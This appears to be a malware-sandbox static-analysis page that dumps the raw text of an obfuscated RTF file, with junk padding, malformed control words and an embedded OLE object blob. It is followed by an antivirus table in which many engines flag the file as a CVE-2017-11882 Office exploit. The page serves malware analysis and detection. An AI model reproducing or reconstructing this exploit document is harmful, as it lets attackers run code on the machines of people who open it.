Static | ZeroBOX
{\rtf1
{\*\picttype142375643 \[}
{\5742011620
3%8?<,6?
4?%>,#4.#^`-==<9?)+^?35~(&!??'^??#55
(.~';$/
^[`<57,.6]%`69?]7:&9_#0*@@|]15
4?2]>,3>?&]&%
4!,_3~7'=?7>?$+?+6*:
3&<:?(!;/@9?9+$?1*080/
?`2:924][+]=
!8-$16*0|[3'<|__*|5~?%?[1%?9^/.-^>3=|:(0>^?@)68,4?]2`?@>7>?$?5<
,=?<|1)
6/?$?[~4/2?7&?_4)$
(`(3$]1]`^^=[!1]6/#9<<1[(%-@)1:[<^$^/;$@]/?$:??[@
?6?+&'4[@?]2?+)(8$$+_@6
.%8^+'0_;)/[?5!?,=?9?
??)0[`(_<09/'$?]2?022
.?5&)$?>|~
*%5*[;?~$@
.@'155^>,?+*|!)[3|!>?['?7
(|?5_^|
(,%#1[??&+<
[?1]|=:$%];=??)|/?8`
60+):8`?)!%_@.8_!|%4?
6|5|-[%
6:-4*+??249`)?`/?
??>$$@:9<
`<@)`6)7%?8='%5%|
?##(%]-`?`[5@
?+-;*:?$)~
%7<0764>*[41)
5~:8&?5>(/@
)*7)=-
*#%;%51&'&?$-*<@;<_1@$?68[:%.?!<|
0_4`5??/
!)8<4)`-~-9!
>4$?*55&?2
8~%0;=/;&
@??&|?
=1[^@.
$+-%|*_?6%
=4?:#?)/!:/7075+^61;+%#:1
,.,3[)[=0
6[`+]1+=!%
$?_=!-&?:!)|&*62%+?!?9&'~?1|
`._*85!?_3#9+8%.'1.[)3;.
-/>$2%5/?&593*;)><?@!-
:');9;
78<<5'2
][96.;8'6?+:8@57!+,`1.74
7$|0/~
0))@<<%(
>(71+%(8?.;87``#_&>)>?+,0_/
%<>?+!?'$0)9~??(
/_?=%$,!5^%#-
]6%93_*<-
&'?.!(]30~#-*6?<94),9/<%
:>`!@^
|?/338`004|7/%?1(
&+48..)5??!-9@8
%675?`$^6+8-5-?)^?%`)%*&!++6|(,%=1<+]!?
#-?(%`$76[]&_@/?-0:]_1<1(*]*-#?,>&%-?
([2:?^,?
?2?#:0?>]5>]_??!~;`
,&@=?.
1)2|:*@+8?>8;*1?=(>883'',$(@3|?1/$$.5>?,+?3-?$!(.+??][$+)~#,0?0?84?[7~4>_>???~<#`
9~>?,87:_-03&8$^#$??8479@:/6_[
`'|?5%6~?
0/%2')4^$'|`_4!8*59%`-4-[7+#&^?`^^@93;5)|*6&)4@'#`$(
#=86:?(#8~_,^)
330%=95,<%?%2::>
=$`_83$,~^.%
*820>)&
9~^+!?/%.[;8*#(!0.8<35%??`43)
[*]<!0|&&
8`46644?<`:9'+[!*0$].[>*??$74$$?)#>0?-?`2@^/_>];1-
:!,7&7&0]74+@-[>%?&
?[3@`?'3`^+10@+%%
'2?#7]$^1>;2?`8>^?%%/
9135@!4?:?28*<_=?>|
0??578>?$.<$
?42%6|)[8?%>(%+7&`&+4|>30%??%7;
[)71-6?11/?@<>6#5+_/%,
_(?$%3%?5@!?.*?#3&98?!0?]2[~:-%<
~&*36%^
]7<>;.=-&5
???-+-+638]=$5/3?9()~5
?|_.*^.&%#;?($`|(1%?2`??]
=5?5?!~99
+6?%(@)#.[
_`/0<]$?1(
*293@?:^=;.9
357@0!?^/%='#(
],0>_*_^%|3;+_
<9;1<?
%>(26*4#1~
]9$;(8_$?>=$,#4
~9-<_6?16>8!?>*#&:
?4]497_]<2;?3[
<:0^-`_|:=]4~>?#,<>9
3#5616@;+7@?0`%~@5(|7~[,/67*5$|`;
1=?6`+[0/@`%,2|%#
],>?=-4_9>1<;(??1,
?:^:#?~%5%.?%
3,3'<91:1!#9[|&.;0=1%?>6?_0='%,>!]
]_;3=*[?
1%;]#2(-34:_)?!,)+`*@&7~?`)+]3|1+
22%0^_.
-!'5!<93
%#7@<#]-+?8]3-9:0^3^
7<$1$5@&1+6
^`.&?>?2_?38/9_
&%3?95?%0?.?6]|0-,>%
(0_481^]@([
]!9]-;=[~#9
)9_^*0
,>/8?5?#0
(~?%??+-^7|1%(85
*~.%':>%4?<?)
_52&106*:<`3?
?!#_(2?!?=]#3%?$;%$5._51*.5$25?+$$
~~234_*#?:^!(%
>^3?0>&%:5)?%$2,41:2?=[,*:.`5<,`0'
;^?]21?82-?`$?*&
*5*?|&-8;=
6?.#'?]?58/1/?4&?
_4=%]?1'2,#(%%5=?,~:#$]?&.>+2?
6%|?.*?
?5`@|:0)&),($?64&$,097:1?!$<@;0.<?7@#6
$!2@;;?*?5/?
6`?)8'=`+<2#$|9-/.?%.6|(43[=6;?`/-:|'~.?
9?(/;[9~$?69:3|((~$%.?
54>238?
?07./|*%&1?~?6*71?,#
61%@'?<6,<0_!
)~>?]|1.19.#[1?.*7<%-~$'^?*?!`88=4%/24)_??$9`%'??
482|?1
%::]?13<5#%`$@@?6?4)%$33'*07^
)3#~5'$,>(;#:#|,*~-*?-'?$
[?>+]:=:!+,+1>[
!;9-'/%!(!!!
?_5%?>3?4172(2?4?`?`$#7@$%5
@%?7]%=&@/!5?.%/<:|1?`>>?(
$%#3>8$?
'@$]=+260$(#%
]:?~<?6#]5|9%&]:<[%<%-~5?)~20~*/].'0+~/;(2?3,`__
????04-~`(29~86?>*63&#=37%#?=?|69
7>?^@*$:?4<(8)!=5)[-`03;?(414_$
''|%>)?<*)$!?6
^]|8.@<(10,/,'?4
~?'0^5><?(&4/3'9%|/3-']?5-|~>8
?8:#/:1.
?%[8=`'
)~?0%?2%%?
5;(^'00??13.3##+``&4?%$2*-6?%5)92]4:>$
,_7??2`0**&`7`[
4*><<_(:@&_/$|^:<??4!%&
;35#?*'2'/*
_'_0&*~0*[)+/^1)6
>,2)%3.@~5,2|
~1-^;!6|/^
^8>-?7;|?-;$|/[3?'5
`5@!]?;9$4(?4+;%
?,??6.0!
:84.#[
7$?1_$~+?@'
(,6>=$!?,2`8%2
9;/&(#$.+`:4~~
`=?--?
?`7![]&&;@@*==`.%%5!8/91
?'?58_'7-7<+!;42<9@->5
35??/-7%<6>6,?*&@/&:&(311)3?-&.
[??9?.??%
]%)1??[?>-%;4|69<'<69<$4%-1|2_8
%66#%,,`]?5+1#05
!-%2?]@%2-!!931*]&|?#2?_.`13].[+3='[*,#?&+(+(:=[('%==?53]6?/^[)_?8<7+5?#&&,-]?~9+~<')4$9$
(*!(5??|!?`;?!@.^1:_|3$;?
:5/)%,'!09
7`_&/5]
34?^'5%|$-77`3$;182#`+,-7?)!~
~+]%%/<?&3'7)?&
?+#/&|<359!>.
?7@=1(!~1^%%^(4__
5|(?%|!!@?9~4^6;2@'$+`%?04!.?6;&-*;)!.+>.>_?]~%!%0:1)(?-7)%'#4??<)|/!4:#[
=?*3&?1['2
.*)5;#$:
?*@=4-?]?@|`.^~|+'??'_<(0_?]:%`=?
^>;~2?%];('#72]09%?5<,`4%0
53+.|>%
?:0[;^'25__9
'%_,<+?8?$5@6~)>]|_??0715=([#20
|0>[_))']7
3%--95?^0)%&7<?<?*'2]'!?!
?88^+4
2<1-*@<$2._.~6^>?
_`7`>)^(&?\object63963470\objocx2754614\objw416\objh524{\*\objupdate771626771626\*\objdata638286{\*\astrike217756088 \bin00\749913687326178248}
{\mmodso180474456 \bin0\522137995413680131}
\viewkind15034664\ogutter450\'?
{\object\xphrzzoazerqgeqjsfhbzqtytixzldDHRPEDJYEOLXSV389004701722741525028034815157xphrzzoazerqgeqjsfhbzqtytixzldDHRPEDJYEOLXSV118937808{\YLGRBOUYCCIDJANOYdzkrtwyumnipiozuupywthjij274160893624730139992432671YLGRBOUYCCIDJANOYdzkrtwyumnipiozuupywthjij}}29
\bin00000
00
6b35
3 7
975
00000
100000
cf
ae10
00000
0 0
0010
0ff
ffffffff
ffffff
ff
fffff
fffffff
ffff
ff
ffffff
ffff
fffff
fff
ffffff
ff
fffff
fff
ffffff
ffffff
fffff
f
f ffffff f ff
ff
fff
ffff
f f
fffffff
ffff fff
fffffff
f
fff
fffffff
ffffff
ff f ff
fff
fffffff
ffff
fffffff
ff
ff
fffffff
ffffff
fffffff
fffffffff
fff
fffff
ffff ff
ffffffffff fff
ff
fffff
ffffffffff
fffff f
fff
ffff
00000
060000
fefff
fffffff
ffffff
ffff
ffff f
ffff f
ff
fff
ffffff
ffff
fffffff
ffffffff
fff
ffffffff
fffff
fffff
fffffff
fff
ffff
f fffffff f
fffff
fffff
ffffffff
fff
fffffff
ffffff
ffffff
fffff
fffff
fff
ffff
ffff
fffff
ffff
ffffffffff
fff
fff
ff f
fffffff
ffffff
ff
fff
ff
fff
ffffffff
fffff
fff
ff ffffff
ffffff
ff
fff ff
ffffff
ffff f
f ff
52 006f
00
6f 0074
0000
050
0000
000
0c00700000
04e00
0000
00000 00
0000
00000000
0000
fffffff
ffff00
000000000
00
00000
ffffff
0000
000000
000000
0000
0000
0000
000000
0000000
00000000
00000000000
00000
ff0
0000
000000
200000003
a000000
0000000
0000130
00
ef
ff ff f f
ffff
fff
ff
ffff
f f
ffff
f fff
fffff
ff ff
f fff
fffff
fff
ffffffff
ffffff
fff
f f
fff
ffff
fffff
fff
ffff
fff f
ffff
ffffff
ffff
fff
ff
fffff
fffff
fffff
ffffff
fffffff
ffffffffff
ffffff
ffffffff
ffffffff ff
f fffff
ff
ff
ffffff
fffff
ffffffff
ffa2
a3a3
1128
a5ed8
05f22f1
bd
636
acd4
f3cf
02e63270
6ddb7
bfbf1f
d3a
2d
16e4
8d1
d4ee282
cf49fb4
99fb9
1387691aea68
40517e107f8a
09b4e2
3727ff
4ed
dd3 f
5b9
27
b44bb
6f3525
93a1d
d7054
10
e60a6
a b
6e4
bf2cd3
0525
f8
c444cf6
2de97
9300
dd21e
140d93a1336
2960
9fec3
ee18e
caf0ef
3b3
be
37b
5ee8
f09
4e49e
9ba
a a
e8a2
b 666
98
99 a
c8
bb595
6688439
72bef4
e b
6 fe 4ebd
f3536
dfd 4
4 2
ab d3
19c4
c88
92
352
9cdd 4
1 24
19dbe5b
3715
7048
6dd3b8e
859c 7
e d
4740
ca88
d4e6
08
081
ae196c0
22d3ec
f4010000e
076e
add
8dba
5381c6e
b6700 0
eb5
181c3
7ee9
eb1ceb7
00000e
f3e
b 0
1b
989000
100008
db
61
b 398
008db6
d3d0 00
81c
3 1
f0 9
5e5 e
9de9a
500
b9 3eb
33eb
e921ff
ffffe9
fff9c9
c5650
dbf5f33
0000
dbfc8
d 9
7a 64c00
5 f
f5a 9
e9 b
20 00000e
0eb49
e7
f5ae955f
fffeb6e
e6e9b8f
3c204e
d4feff
b05e9
1b90
27ffff
ffebd4e
e94c
f f
8ebcf
9db255
f51
e97
8b386b
0
a5f790d
202684
2f1828ab
98390e
e6de8fd
2eaa17c
22e51
1a971
08
5416
ab03c99
c4d
3
e0f8
7bf4c5
26d91e
5 a7
e74b1
0ea 297
880f
ea4
b2e
3ebf
fab6
2d719e
d c5e3fb
c4 e4
1
9bc
7a
0ee3
f05c
0dd
3aca81
7
848b4
899e
c74edc6c
fc5c1af
13a5ca7ba
0597
44067a6f
e93c48
75273
b58f4619
07198
bb4858a342a
69d5
0d55
63323f2d
943
8c5
4f
1 e513
3 d
1 1e
14 94
1 1
80 a5 5705
447
0000000
00 0000
00 00
00
0 0
0
00000
000
00000000
0}}}
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.Generic.4!c
ClamAV Clean
FireEye Exploit.RTF-ObfsStrm.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
McAfee RTFObfustream.c!641D20307315
Malwarebytes Clean
Zillya Clean
Sangfor Clean
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren CVE-2017-11882.C.gen!Camelot
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Other:Malware-gen [Trj]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
SUPERAntiSpyware Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Rising Clean
Sophos Troj/RtfExp-EQ
Baidu Clean
F-Secure Exploit.EXP/YAV.Minerva.xalfz
DrWeb Exploit.ShellCode.69
VIPRE Exploit.RTF-ObfsStrm.Gen
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition BehavesLike.BadFile.mv
CMC Clean
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Avira EXP/YAV.Minerva.xalfz
MAX malware (ai score=88)
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
ViRobot Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Trojan:Win32/Leonem
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
ALYac Clean
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Tencent Exp.Ole.CVE-2017-11882.a
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
AVG Other:Malware-gen [Trj]
Panda Clean
No IRMA results available.